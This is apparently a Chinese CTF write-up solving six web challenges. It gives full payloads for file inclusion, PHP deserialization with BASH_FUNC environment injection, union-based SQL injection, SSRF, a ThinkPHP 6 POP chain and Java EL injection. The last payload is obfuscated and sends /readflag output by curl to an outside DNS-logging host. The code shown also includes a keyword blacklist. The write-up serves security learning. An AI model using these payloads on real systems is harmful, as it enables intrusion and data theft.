文章目录
文笔有限,大佬轻喷。
1. 100%_upload(文件上传、文件包含)
很多解法,这里采用文件包含图片马GETSHELL,观察URL构成,可以看到GET参数file,可能存在文件包含。验证之:
/index.php?file=/etc/passwd
上传图片马,发现存在文件内容检测。
使用短标签绕过。
响应包中返回了文件路径,配合文件包含利用。
后续省略。
2. Not just unserialize(反序列化、环境变量注入)
源码如下:
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
POC:
<?php
class start{
public $welcome;
function __construct(){
$this->welcome = new SE;
}
}
class SE{
public $year;
function __construct(){
$this->year=new CR;
}
}
class CR{
public $last;
public $newyear = "\nworries";
function __construct(){
$this->last = new ET;
}
}
class ET{
}
echo base64_encode(serialize(new start));
?>
关键代码:
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
涉及环境变量注入,参考P神博客:环境变量注入
Payload:
?go=Tzo1OiJzdGFydCI6MTp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX19&get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/ffffllllllaaaaaaaaaaaaaaaaaaggggg;%20}
3. hacker(无列名注入)
考点是SQL注入,过滤了information_schemta,考虑无列名注入。
Payload:
?username=1.1'/**/union/**/select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23
4. EZ_SSRF(SSRF)
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
回显型SSRF,直接包含/flag没有内容。根据hint:hide other file
,扫描了一波目录,还存在admin.php和flag.php,admin.php内容如下:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?>
可以得知,当$_SERVER['REMOTE_ADDR']
的值等于127.0.0.1时,就输出flag,但是$_SERVER['REMOTE_ADDR']
是不可伪造的。此时我们可以借助SSRF,将目标靶机作为跳板机,访问/admin.php文件。
POC:
<?php
class client{
public $url = "http://127.0.0.1/admin.php";
}
echo serialize(new client);
?>
成功获取到flag。
5. Oyst3rPHP(md5、preg_match、TP6反序列化POP)
根据favicon.io得知是ThinkPHP,先拿TP漏扫工具一把梭,无果。扫描目录发现存在www.zip文件。
拿到app\controller\Index.php文件内容:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index(){
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"." />";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right != $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"." />";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"." />";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
public function doLogin()
{
echo "666";
/*emmm我也不知道这是what,瞎写的*/
if ($this->request->isPost()) {
$username = $this->request->post('username');
$password = $this->request->post('password');
if ($username == 'your_username' && $password == 'your_password') {
$this->success('Login successful', 'index/index');
} else {
$this->error('Login failed');
}
}
}
}
- 第一份生蚝:md5弱类型绕过,构造传参:
GET: ?left=QNKCDZO&right=240610708
- 第二份生蚝:preg_match回溯绕过
import requests
get = {
"left": "QNKCDZO",
"right": "240610708"
}
post = {
"key": "k" * 1000000 + "603THINKPHP",
}
res = requests.post('http://yuanshen.life:37631/index.php/index/Index', params=get, data=post)
print(res.text)
- 第三份生蚝:POP链
import requests
get = {
"left": "QNKCDZO",
"right": "240610708"
}
post = {
"key": "k" * 1000000 + "603THINKPHP",
"payload": "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjM6ImtleSI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6Mzoia2V5IjtzOjY6InN5c3RlbSI7fXM6NToidGFibGUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO31zOjU6InRhYmxlIjtOO3M6Njoic3RyaWN0IjtiOjE7czo3OiJ2aXNpYmxlIjthOjE6e3M6Mzoia2V5IjtpOjE7fX1zOjY6InN0cmljdCI7YjoxO3M6NzoidmlzaWJsZSI7YToxOntzOjM6ImtleSI7aToxO319"
}
res = requests.post('http://yuanshen.life:37631/index.php/index/Index', params=get, data=post) # POST相对GET方法可以承载的数据量更大
print(res.text)
6. elInjection
拿到jar包直接在本地调试,关键代码如下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.elinjection.controller;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import java.util.ArrayList;
import java.util.Iterator;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
public TestController() {
}
@RequestMapping({"/test"})
@ResponseBody
public String test(@RequestParam(name = "exp") String exp) {
ArrayList<String> list = new ArrayList();
list.add("Runtime");
list.add("exec");
list.add("invoke");
list.add("exec");
list.add("Process");
list.add("ClassLoader");
list.add("load");
list.add("Response");
list.add("Request");
list.add("Base64Utils");
list.add("ReflectUtils");
list.add("getWriter");
list.add("Thread");
list.add("defineClass");
list.add("bcel");
list.add("RequestAttributes");
list.add("File");
list.add("flag");
list.add("URL");
list.add("Command");
list.add("Inet");
list.add("System");
list.add("\\u");
list.add("\\x");
list.add("'");
Iterator var3 = list.iterator();
String s;
do {
if (!var3.hasNext()) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
valueExpression.getValue(simpleContext);
return exp;
}
s = (String)var3.next();
} while(!exp.contains(s));
return "No";
}
}
黑名单过滤了一堆,考虑调用JS引擎绕过,这个地方直接用unicode字符绕过黑名单过滤。
POST /test HTTP/1.1
Host: yuanshen.life:23333
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 688
exp=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("function test(a){ return eval(a)};test(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,121,98,122,100,111,77,88,107,117,89,50,86,53,90,83,53,112,98,121,73,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41))")}
吃到回显。